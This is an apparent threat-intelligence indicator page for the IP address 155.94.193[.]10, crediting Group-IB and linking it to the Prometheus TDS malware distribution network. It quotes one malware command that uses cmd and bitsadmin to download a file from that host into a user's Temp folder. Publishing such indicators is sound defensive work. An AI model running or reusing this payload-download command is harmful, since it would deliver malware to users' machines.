155.94.193[.]10IP address
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 5 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Prometheus TDS“cmd /k exit | exit & bitsadmin /addfile EncodingFirm hxxp://155.94.193[.]10/user/get/ButPrinciple1619186669 C:\Users\<User>\AppData\Local\Temp\DefineKeeps.tmp & exit”
Thanks — we review every report.